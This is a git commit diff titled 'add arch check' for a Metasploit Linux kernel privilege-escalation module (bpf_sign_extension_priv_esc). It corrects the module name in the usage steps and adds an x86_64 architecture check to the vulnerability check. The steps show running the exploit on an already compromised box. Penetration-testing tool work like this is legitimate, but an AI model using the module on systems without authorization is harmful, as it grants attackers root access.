add arch check
parent
a60f205ee0
commit
e197cb5759
|
@ -20,7 +20,7 @@ is thrown by the executable.
|
||||||
|
|
||||||
1. Start msfconsole
|
1. Start msfconsole
|
||||||
2. Exploit a box via whatever method
|
2. Exploit a box via whatever method
|
||||||
3. Do: `use exploit/linux/local/bpf_extension_priv_esc`
|
3. Do: `use exploit/linux/local/bpf_sign_extension_priv_esc`
|
||||||
4. Do: `set session #`
|
4. Do: `set session #`
|
||||||
5. Do: `set verbose true`
|
5. Do: `set verbose true`
|
||||||
6. Do: `exploit`
|
6. Do: `exploit`
|
||||||
|
|
|
@ -86,6 +86,13 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
vprint_good "Kernel version #{version} appears to be vulnerable"
|
vprint_good "Kernel version #{version} appears to be vulnerable"
|
||||||
|
|
||||||
|
arch = kernel_hardware
|
||||||
|
unless arch.include? 'x86_64'
|
||||||
|
vprint_error "System architecture #{arch} is not supported"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good "System architecture #{arch} is supported"
|
||||||
|
|
||||||
if session.type.to_s.eql? 'meterpreter'
|
if session.type.to_s.eql? 'meterpreter'
|
||||||
vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
|
vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue